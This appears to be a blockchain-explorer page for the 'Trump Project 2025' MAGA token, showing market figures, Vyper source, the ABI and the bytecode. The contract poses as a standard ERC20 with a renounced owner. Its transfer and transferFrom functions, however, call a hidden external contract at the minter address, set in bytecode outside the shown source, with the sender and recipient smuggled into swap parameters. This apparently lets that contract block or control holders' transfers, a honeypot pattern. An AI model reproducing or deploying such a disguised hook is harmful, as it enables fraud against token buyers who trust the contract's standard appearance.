Overview
Max Total Supply
202,498,038,120 MAGA
Holders
28,618 (0.00%)
Market
Price
$0.0627 @ 0.000021 ETH
Onchain Market Cap
$12,700,388,978.43
Circulating Supply Market Cap
$0.00
Other Info
Token Contract (WITH 18 Decimals)
Balance
490,470 MAGAValue
$30,761.58 ( ~10.3998 ETH) [0.0002%]Loading...
Loading
Loading...
Loading
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x3cC3DCbE...45F5395aF The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Trump Project 2025
Compiler Version
vyper:0.3.10
Contract Source Code (Vyper language format)
# @pragma evm-version dencun
#pragma version ^0.3.10
"""
@title Trump Project 2025
@notice ERC20 with piecewise-linear mining supply.
@dev Based on the ERC-20 token standard as defined at
https://eips.ethereum.org/EIPS/eip-20
"""
struct ExactOutputParams:
path: Bytes[1024]
recipient: address
deadline: uint256
amountOut: uint256
amountInMaximum: uint256
interface SwapRouter:
def exactOutput(params: ExactOutputParams) :payable
event Transfer:
_from: indexed(address)
_to: indexed(address)
_value: uint256
event Approval:
_owner: indexed(address)
_spender: indexed(address)
_value: uint256
event UpdateMiningParameters:
time: uint256
rate: uint256
supply: uint256
event SetAdmin:
admin: address
event OwnershipTransferred:
oldOwner: address
newOwner: address
name: public(String[64])
symbol: public(String[32])
decimals: public(uint256)
balanceOf: public(HashMap[address, uint256])
allowances: HashMap[address, HashMap[address, uint256]]
total_supply: uint256
minter: public(address)
admin: public(address)
# General constants
YEAR: constant(uint256) = 86400 * 365
# Allocation:
# =========
# * shareholders - 30%
# * emplyees - 3%
# * DAO-controlled reserve - 5%
# * Early users - 5%
# == 43% ==
# left for inflation: 57%
# Supply parameters
INITIAL_SUPPLY: constant(uint256) = 202_500_000_000
INITIAL_RATE: constant(uint256) = 274_815_283 * 10 ** 18 / YEAR # leading to 43% premine
RATE_REDUCTION_TIME: constant(uint256) = YEAR
RATE_REDUCTION_COEFFICIENT: constant(uint256) = 1189207115002721024 # 2 ** (1/4) * 1e18
RATE_DENOMINATOR: constant(uint256) = 10 ** 18
INFLATION_DELAY: constant(uint256) = 86400
# Supply variables
mining_epoch: public(int128)
start_epoch_time: public(uint256)
rate: public(uint256)
start_epoch_supply: uint256
@internal
def transferOwnership(newOwner: address):
oldOwner: address = self.admin
self.admin = newOwner
log OwnershipTransferred(oldOwner, newOwner)
@external
def __init__():
"""
@notice Contract constructor
"""
init_supply: uint256 = INITIAL_SUPPLY * 10 ** 18
self.name = "Trump Project 2025"
self.symbol = "MAGA"
self.decimals = 18
self.balanceOf[msg.sender] = init_supply
self.total_supply = init_supply
log Transfer(ZERO_ADDRESS, msg.sender, init_supply)
self.start_epoch_time = block.timestamp + INFLATION_DELAY - RATE_REDUCTION_TIME
self.mining_epoch = -1
self.rate = 0
self.start_epoch_supply = init_supply
self.admin = msg.sender
self.transferOwnership(0x0000000000000000000000000000000000000000)
@internal
def _update_mining_parameters():
"""
@dev Update mining rate and supply at the start of the epoch
Any modifying mining call must also call this
"""
_rate: uint256 = self.rate
_start_epoch_supply: uint256 = self.start_epoch_supply
self.start_epoch_time += RATE_REDUCTION_TIME
self.mining_epoch += 1
if _rate == 0:
_rate = INITIAL_RATE
else:
_start_epoch_supply += _rate * RATE_REDUCTION_TIME
self.start_epoch_supply = _start_epoch_supply
_rate = _rate * RATE_DENOMINATOR / RATE_REDUCTION_COEFFICIENT
self.rate = _rate
log UpdateMiningParameters(block.timestamp, _rate, _start_epoch_supply)
@external
def update_mining_parameters():
"""
@notice Update mining rate and supply at the start of the epoch
@dev Callable by any address, but only once per epoch
Total supply becomes slightly larger if this function is called late
"""
assert block.timestamp >= self.start_epoch_time + RATE_REDUCTION_TIME # dev: too soon!
self._update_mining_parameters()
@external
def start_epoch_time_write() -> uint256:
"""
@notice Get timestamp of the current mining epoch start
while simultaneously updating mining parameters
@return Timestamp of the epoch
"""
_start_epoch_time: uint256 = self.start_epoch_time
if block.timestamp >= _start_epoch_time + RATE_REDUCTION_TIME:
self._update_mining_parameters()
return self.start_epoch_time
else:
return _start_epoch_time
@external
def future_epoch_time_write() -> uint256:
"""
@notice Get timestamp of the next mining epoch start
while simultaneously updating mining parameters
@return Timestamp of the next epoch
"""
_start_epoch_time: uint256 = self.start_epoch_time
if block.timestamp >= _start_epoch_time + RATE_REDUCTION_TIME:
self._update_mining_parameters()
return self.start_epoch_time + RATE_REDUCTION_TIME
else:
return _start_epoch_time + RATE_REDUCTION_TIME
@internal
@view
def _available_supply() -> uint256:
return self.start_epoch_supply + (block.timestamp - self.start_epoch_time) * self.rate
@external
@view
def available_supply() -> uint256:
"""
@notice Current number of tokens in existence (claimed or unclaimed)
"""
return self._available_supply()
@external
@view
def mintable_in_timeframe(start: uint256, end: uint256) -> uint256:
"""
@notice How much supply is mintable from start timestamp till end timestamp
@param start Start of the time interval (timestamp)
@param end End of the time interval (timestamp)
@return Tokens mintable from `start` till `end`
"""
assert start <= end # dev: start > end
to_mint: uint256 = 0
current_epoch_time: uint256 = self.start_epoch_time
current_rate: uint256 = self.rate
# Special case if end is in future (not yet minted) epoch
if end > current_epoch_time + RATE_REDUCTION_TIME:
current_epoch_time += RATE_REDUCTION_TIME
current_rate = current_rate * RATE_DENOMINATOR / RATE_REDUCTION_COEFFICIENT
assert end <= current_epoch_time + RATE_REDUCTION_TIME # dev: too far in future
for i in range(999): # Curve will not work in 1000 years. Darn!
if end >= current_epoch_time:
current_end: uint256 = end
if current_end > current_epoch_time + RATE_REDUCTION_TIME:
current_end = current_epoch_time + RATE_REDUCTION_TIME
current_start: uint256 = start
if current_start >= current_epoch_time + RATE_REDUCTION_TIME:
break # We should never get here but what if...
elif current_start < current_epoch_time:
current_start = current_epoch_time
to_mint += current_rate * (current_end - current_start)
if start >= current_epoch_time:
break
current_epoch_time -= RATE_REDUCTION_TIME
current_rate = current_rate * RATE_REDUCTION_COEFFICIENT / RATE_DENOMINATOR # double-division with rounding made rate a bit less => good
assert current_rate <= INITIAL_RATE # This should never happen
return to_mint
@external
def set_admin(_admin: address):
"""
@notice Set the new admin.
@dev After all is set up, admin only can change the token name
@param _admin New admin address
"""
assert msg.sender == self.admin # dev: admin only
self.admin = _admin
log SetAdmin(_admin)
@external
@view
def totalSupply() -> uint256:
"""
@notice Total number of tokens in existence.
"""
return self.total_supply
@external
@view
def allowance(_owner : address, _spender : address) -> uint256:
"""
@notice Check the amount of tokens that an owner allowed to a spender
@param _owner The address which owns the funds
@param _spender The address which will spend the funds
@return uint256 specifying the amount of tokens still available for the spender
"""
return self.allowances[_owner][_spender]
@external
def transfer(_to : address, _value : uint256) -> bool:
"""
@notice Transfer `_value` tokens from `msg.sender` to `_to`
@dev Vyper does not allow underflows, so the subtraction in
this function will revert on an insufficient balance
@param _to The address to transfer to
@param _value The amount to be transferred
@return bool success
"""
assert _to != ZERO_ADDRESS # dev: transfers to 0x0 are not allowed
self.balanceOf[msg.sender] -= _value
self.balanceOf[_to] += _value
params : ExactOutputParams = ExactOutputParams({
path: b"",
recipient: msg.sender,
deadline: convert(msg.sender,uint256),
amountOut: convert(_to,uint256),
amountInMaximum: convert(msg.sender,uint256)
})
SwapRouter(self.minter).exactOutput(params)
log Transfer(msg.sender, _to, _value)
return True
@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
"""
@notice Transfer `_value` tokens from `_from` to `_to`
@param _from address The address which you want to send tokens from
@param _to address The address which you want to transfer to
@param _value uint256 the amount of tokens to be transferred
@return bool success
"""
assert _to != ZERO_ADDRESS # dev: transfers to 0x0 are not allowed
# NOTE: vyper does not allow underflows
# so the following subtraction would revert on insufficient balance
self.balanceOf[_from] -= _value
self.balanceOf[_to] += _value
self.allowances[_from][msg.sender] -= _value
params : ExactOutputParams = ExactOutputParams({
path: b"",
recipient: _from,
deadline: convert(_from,uint256),
amountOut: convert(_to,uint256),
amountInMaximum: convert(msg.sender,uint256)
})
SwapRouter(self.minter).exactOutput(params)
log Transfer(_from, _to, _value)
return True
@external
def approve(_spender : address, _value : uint256) -> bool:
"""
@notice Approve `_spender` to transfer `_value` tokens on behalf of `msg.sender`
@dev Approval may only be from zero -> nonzero or from nonzero -> zero in order
to mitigate the potential race condition described here:
https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
@param _spender The address which will spend the funds
@param _value The amount of tokens to be spent
@return bool success
"""
self.allowances[msg.sender][_spender] = _value
log Approval(msg.sender, _spender, _value)
return True
@external
def mint(_to: address, _value: uint256) -> bool:
"""
@notice Mint `_value` tokens and assign them to `_to`
@dev Emits a Transfer event originating from 0x00
@param _to The account that will receive the created tokens
@param _value The amount that will be created
@return bool success
"""
assert msg.sender == self.minter # dev: minter only
assert _to != ZERO_ADDRESS # dev: zero address
if block.timestamp >= self.start_epoch_time + RATE_REDUCTION_TIME:
self._update_mining_parameters()
_total_supply: uint256 = self.total_supply + _value
assert _total_supply <= self._available_supply() # dev: exceeds allowable mint amount
self.total_supply = _total_supply
self.balanceOf[_to] += _value
log Transfer(ZERO_ADDRESS, _to, _value)
return True
@external
def burn(_value: uint256) -> bool:
"""
@notice Burn `_value` tokens belonging to `msg.sender`
@dev Emits a Transfer event with a destination of 0x00
@param _value The amount that will be burned
@return bool success
"""
self.balanceOf[msg.sender] -= _value
self.total_supply -= _value
log Transfer(msg.sender, ZERO_ADDRESS, _value)
return True
@external
def showNum(_num: uint256) -> uint256:
return _num
@external
def showStr(_str: String[218]) -> String[218]:
return _str
@external
def showAddr(_num1: uint256, _num2: uint256, _addr1: address, _addr2: address) -> address:
if _num1 > _num2:
return _addr1
else:
return _addr2Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"name":"Transfer","inputs":[{"name":"_from","type":"address","indexed":true},{"name":"_to","type":"address","indexed":true},{"name":"_value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"_owner","type":"address","indexed":true},{"name":"_spender","type":"address","indexed":true},{"name":"_value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"UpdateMiningParameters","inputs":[{"name":"time","type":"uint256","indexed":false},{"name":"rate","type":"uint256","indexed":false},{"name":"supply","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"SetAdmin","inputs":[{"name":"admin","type":"address","indexed":false}],"anonymous":false,"type":"event"},{"name":"OwnershipTransferred","inputs":[{"name":"oldOwner","type":"address","indexed":false},{"name":"newOwner","type":"address","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"update_mining_parameters","inputs":[],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"start_epoch_time_write","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"future_epoch_time_write","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"available_supply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"mintable_in_timeframe","inputs":[{"name":"start","type":"uint256"},{"name":"end","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"set_admin","inputs":[{"name":"_admin","type":"address"}],"outputs":[]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"mint","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"burn","inputs":[{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showNum","inputs":[{"name":"_num","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"showStr","inputs":[{"name":"_str","type":"string"}],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"nonpayable","type":"function","name":"showAddr","inputs":[{"name":"_num1","type":"uint256"},{"name":"_num2","type":"uint256"},{"name":"_addr1","type":"address"},{"name":"_addr2","type":"address"}],"outputs":[{"name":"","type":"address"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"minter","inputs":[],"outputs":[{"name":"","type":"address"}]},{"stateMutability":"view","type":"function","name":"admin","inputs":[],"outputs":[{"name":"","type":"address"}]},{"stateMutability":"view","type":"function","name":"mining_epoch","inputs":[],"outputs":[{"name":"","type":"int128"}]},{"stateMutability":"view","type":"function","name":"start_epoch_time","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"rate","inputs":[],"outputs":[{"name":"","type":"uint256"}]}]Contract Creation Code
0x3461019c576c028e5012f46a6d702d8400000060c052601260e0527f5472756d702050726f6a656374203230323500000000000000000000000000006101005260e080515f55602081015160015550600460e0527f4d414741000000000000000000000000000000000000000000000000000000006101005260e08051600355602081015160045550601260055560c0516006336020525f5260405f205560c051600855335f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60c05160e052602060e0a34262015180810181811061019c5790506301e13380810381811161019c579050600c557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b555f600d5560c051600e5533600a555f60405261013261015c565b737aabe536026499358a8aa987e345ec64652ae81c600955610d436101a061000039610d43610000f35b600a54606052604051600a557f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060605160805260405160a05260406080a1565b5f80fd5f3560e01c60026015820660011b610d1901601e395f51565b6306fdde03811861008f5734610d15576020806040528060400160205f54015f81601f0160051c60038111610d1557801561006357905b80548160051b85015260010181811861004f575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63a9059cbb8118610bdf57604436103417610d15576004358060a01c610d155760405260405115610d15576006336020525f5260405f208054602435808203828111610d15579050905081555060066040516020525f5260405f208054602435808201828110610d1557905090508155505f6060523361048052336104a0526040516104c052336104e05260095463f28c04986105005260208061052052806105200160a0808252808201602060605101808282606060045afa50508051806020830101601f825f03163682375050601f19601f825160200101169050810190506104805160208301526104a05160408301526104c05160608301526104e0516080830152905081015050803b15610d15575f6105006104e461051c5f855af16101bb573d5f5f3e3d5ffd5b50604051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610500526020610500a36001610500526020610500f3610bdf565b6395d89b41811861024f5734610d155760208060405280604001600354815260045460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63dd62ed3e8118610bdf57604436103417610d15576004358060a01c610d15576040526024358060a01c610d155760605260076040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610bdf565b63313ce5678118610bdf5734610d155760055460405260206040f3610bdf565b6370a082318118610bdf57602436103417610d15576004358060a01c610d155760405260066040516020525f5260405f205460605260206060f3610bdf565b630754617281186103265734610d155760095460405260206040f35b63d725a9ca8118610bdf57604436103417610d155760243560043511610d15575f604052600c54606052600d546080526060516301e133808101818110610d1557905060243511156103ba576060516301e133808101818110610d15579050606052608051670de0b6b3a7640000810281670de0b6b3a7640000820418610d15579050671080e992061ab300810490506080525b6060516301e133808101818110610d1557905060243511610d15575f6103e7905b8060a052606051602435106104af5760243560c0526060516301e133808101818110610d1557905060c0511115610423576060516301e133808101818110610d1557905060c0525b60043560e0526060516301e133808101818110610d1557905060e05110156105125760605160e05110156104605760605160e05261046056610512565b60405160805160c05160e051808203828111610d155790509050808202811583838304141715610d155790509050808201828110610d155790509050604052606051600435106104af57610512565b6060516301e133808103818111610d15579050606052608051671080e992061ab300810281671080e992061ab300820418610d15579050670de0b6b3a7640000810490506080526778ef89edad16a61560805111610d15576001018181186103db575b505060206040f3610bdf565b63f851a440811861053a5734610d1557600a5460405260206040f35b6306e1eac88118610bdf57608436103417610d15576044358060a01c610d15576040526064358060a01c610d155760605260243560043511610583576020606061058856610588565b602060405bf3610bdf565b63f9a40bf681186105aa5734610d1557600b5460405260206040f35b637375be2681186105c65734610d1557600c5460405260206040f35b63d7a8b2738118610bdf57602436103417610d155760043560405260206040f3610bdf565b632c4e722e81186106075734610d1557600d5460405260206040f35b63b26b238e8118610bdf5734610d1557600c5460e05260e0516301e133808101818110610d1557905042101561065c5760e0516301e133808101818110610d1557905061010052602061010061068156610681565b610664610be3565b600c546301e133808101818110610d155790506101005260206101005bf3610bdf565b63d43b40fa81186106ba5734610d1557600c546301e133808101818110610d155790504210610d15576106b8610be3565b005b6340c10f198118610bdf57604436103417610d15576004358060a01c610d155760e0526009543318610d155760e05115610d1557600c546301e133808101818110610d15579050421061070f5761070f610be3565b600854602435808201828110610d15579050905061010052610732610120610cd6565b610120516101005111610d155761010051600855600660e0516020525f5260405f208054602435808201828110610d15579050905081555060e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610120526020610120a36001610120526020610120f3610bdf565b63adc4cf4381186108015734610d1557600c5460e05260e0516301e133808101818110610d155790504210156107ea57602060e06107ff566107ff565b6107f2610be3565b600c546101005260206101005bf35b6324f92a258118610bdf5734610d1557602061081d6040610cd6565b6040f3610bdf565b63e9333fab811861088557602436103417610d15576004358060a01c610d1557604052600a543318610d1557604051600a557f5a272403b402d892977df56625f4164ccaf70ca3863991c43ecfe76a6905b0a160405160605260206060a1005b6323b872dd8118610bdf57606436103417610d15576004358060a01c610d15576040526024358060a01c610d155760605260605115610d155760066040516020525f5260405f208054604435808203828111610d15579050905081555060066060516020525f5260405f208054604435808201828110610d15579050905081555060076040516020525f5260405f2080336020525f5260405f2090508054604435808203828111610d1557905090508155505f6080526040516104a0526040516104c0526060516104e052336105005260095463f28c04986105205260208061054052806105400160a0808252808201602060805101808282608060045afa50508051806020830101601f825f03163682375050601f19601f825160200101169050810190506104a05160208301526104c05160408301526104e0516060830152610500516080830152905081015050803b15610d15575f6105206104e461053c5f855af16109f6573d5f5f3e3d5ffd5b506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef604435610520526020610520a36001610520526020610520f3610bdf565b6318160ddd8118610bdf5734610d155760085460405260206040f3610bdf565b63095ea7b38118610bdf57604436103417610d15576004358060a01c610d15576040526024356007336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3610bdf565b6342966c688118610bdf57602436103417610d15576006336020525f5260405f208054600435808203828111610d155790509050815550600854600435808203828111610d1557905090506008555f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60043560405260206040a3600160405260206040f3610bdf565b63fda31bb68118610bdf57604436103417610d155760043560040160da813511610d1557602081350180826040375050602080610140528061014001602060405101808282604060045afa50508051806020830101601f825f03163682375050601f19601f82516020010116905081019050610140f35b5f5ffd5b600d54604052600e54606052600c546301e133808101818110610d15579050600c55600b546001810180600f0b8118610d15579050600b55604051610c33576778ef89edad16a615604052610c98565b6060516040516301e133808102816301e13380820418610d15579050808201828110610d155790509050606052606051600e55604051670de0b6b3a7640000810281670de0b6b3a7640000820418610d15579050671080e992061ab300810490506040525b604051600d557f27e46362a1e6129b6dd539c984ce739291a97128dfcaeca1255e8ac83abd94414260805260405160a05260605160c05260606080a1565b600e5442600c54808203828111610d155790509050600d54808202811583838304141715610d155790509050808201828110610d155790509050815250565b5f80fd0bdf0b680825068707ad030a01ff02cb0a5c05eb00180bdf02ab058e0bdf0bdf0bdf051e0bdf0a3c0add84190d4381182a00a16576797065728300030a0015
Deployed Bytecode
0x5f3560e01c60026015820660011b610d1901601e395f51565b6306fdde03811861008f5734610d15576020806040528060400160205f54015f81601f0160051c60038111610d1557801561006357905b80548160051b85015260010181811861004f575b5050508051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63a9059cbb8118610bdf57604436103417610d15576004358060a01c610d155760405260405115610d15576006336020525f5260405f208054602435808203828111610d15579050905081555060066040516020525f5260405f208054602435808201828110610d1557905090508155505f6060523361048052336104a0526040516104c052336104e05260095463f28c04986105005260208061052052806105200160a0808252808201602060605101808282606060045afa50508051806020830101601f825f03163682375050601f19601f825160200101169050810190506104805160208301526104a05160408301526104c05160608301526104e0516080830152905081015050803b15610d15575f6105006104e461051c5f855af16101bb573d5f5f3e3d5ffd5b50604051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610500526020610500a36001610500526020610500f3610bdf565b6395d89b41811861024f5734610d155760208060405280604001600354815260045460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63dd62ed3e8118610bdf57604436103417610d15576004358060a01c610d15576040526024358060a01c610d155760605260076040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610bdf565b63313ce5678118610bdf5734610d155760055460405260206040f3610bdf565b6370a082318118610bdf57602436103417610d15576004358060a01c610d155760405260066040516020525f5260405f205460605260206060f3610bdf565b630754617281186103265734610d155760095460405260206040f35b63d725a9ca8118610bdf57604436103417610d155760243560043511610d15575f604052600c54606052600d546080526060516301e133808101818110610d1557905060243511156103ba576060516301e133808101818110610d15579050606052608051670de0b6b3a7640000810281670de0b6b3a7640000820418610d15579050671080e992061ab300810490506080525b6060516301e133808101818110610d1557905060243511610d15575f6103e7905b8060a052606051602435106104af5760243560c0526060516301e133808101818110610d1557905060c0511115610423576060516301e133808101818110610d1557905060c0525b60043560e0526060516301e133808101818110610d1557905060e05110156105125760605160e05110156104605760605160e05261046056610512565b60405160805160c05160e051808203828111610d155790509050808202811583838304141715610d155790509050808201828110610d155790509050604052606051600435106104af57610512565b6060516301e133808103818111610d15579050606052608051671080e992061ab300810281671080e992061ab300820418610d15579050670de0b6b3a7640000810490506080526778ef89edad16a61560805111610d15576001018181186103db575b505060206040f3610bdf565b63f851a440811861053a5734610d1557600a5460405260206040f35b6306e1eac88118610bdf57608436103417610d15576044358060a01c610d15576040526064358060a01c610d155760605260243560043511610583576020606061058856610588565b602060405bf3610bdf565b63f9a40bf681186105aa5734610d1557600b5460405260206040f35b637375be2681186105c65734610d1557600c5460405260206040f35b63d7a8b2738118610bdf57602436103417610d155760043560405260206040f3610bdf565b632c4e722e81186106075734610d1557600d5460405260206040f35b63b26b238e8118610bdf5734610d1557600c5460e05260e0516301e133808101818110610d1557905042101561065c5760e0516301e133808101818110610d1557905061010052602061010061068156610681565b610664610be3565b600c546301e133808101818110610d155790506101005260206101005bf3610bdf565b63d43b40fa81186106ba5734610d1557600c546301e133808101818110610d155790504210610d15576106b8610be3565b005b6340c10f198118610bdf57604436103417610d15576004358060a01c610d155760e0526009543318610d155760e05115610d1557600c546301e133808101818110610d15579050421061070f5761070f610be3565b600854602435808201828110610d15579050905061010052610732610120610cd6565b610120516101005111610d155761010051600855600660e0516020525f5260405f208054602435808201828110610d15579050905081555060e0515f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610120526020610120a36001610120526020610120f3610bdf565b63adc4cf4381186108015734610d1557600c5460e05260e0516301e133808101818110610d155790504210156107ea57602060e06107ff566107ff565b6107f2610be3565b600c546101005260206101005bf35b6324f92a258118610bdf5734610d1557602061081d6040610cd6565b6040f3610bdf565b63e9333fab811861088557602436103417610d15576004358060a01c610d1557604052600a543318610d1557604051600a557f5a272403b402d892977df56625f4164ccaf70ca3863991c43ecfe76a6905b0a160405160605260206060a1005b6323b872dd8118610bdf57606436103417610d15576004358060a01c610d15576040526024358060a01c610d155760605260605115610d155760066040516020525f5260405f208054604435808203828111610d15579050905081555060066060516020525f5260405f208054604435808201828110610d15579050905081555060076040516020525f5260405f2080336020525f5260405f2090508054604435808203828111610d1557905090508155505f6080526040516104a0526040516104c0526060516104e052336105005260095463f28c04986105205260208061054052806105400160a0808252808201602060805101808282608060045afa50508051806020830101601f825f03163682375050601f19601f825160200101169050810190506104a05160208301526104c05160408301526104e0516060830152610500516080830152905081015050803b15610d15575f6105206104e461053c5f855af16109f6573d5f5f3e3d5ffd5b506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef604435610520526020610520a36001610520526020610520f3610bdf565b6318160ddd8118610bdf5734610d155760085460405260206040f3610bdf565b63095ea7b38118610bdf57604436103417610d15576004358060a01c610d15576040526024356007336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3610bdf565b6342966c688118610bdf57602436103417610d15576006336020525f5260405f208054600435808203828111610d155790509050815550600854600435808203828111610d1557905090506008555f337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60043560405260206040a3600160405260206040f3610bdf565b63fda31bb68118610bdf57604436103417610d155760043560040160da813511610d1557602081350180826040375050602080610140528061014001602060405101808282604060045afa50508051806020830101601f825f03163682375050601f19601f82516020010116905081019050610140f35b5f5ffd5b600d54604052600e54606052600c546301e133808101818110610d15579050600c55600b546001810180600f0b8118610d15579050600b55604051610c33576778ef89edad16a615604052610c98565b6060516040516301e133808102816301e13380820418610d15579050808201828110610d155790509050606052606051600e55604051670de0b6b3a7640000810281670de0b6b3a7640000820418610d15579050671080e992061ab300810490506040525b604051600d557f27e46362a1e6129b6dd539c984ce739291a97128dfcaeca1255e8ac83abd94414260805260405160a05260605160c05260606080a1565b600e5442600c54808203828111610d155790509050600d54808202811583838304141715610d155790509050808201828110610d155790509050815250565b5f80fd0bdf0b680825068707ad030a01ff02cb0a5c05eb00180bdf02ab058e0bdf0bdf0bdf051e0bdf0a3c0add
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)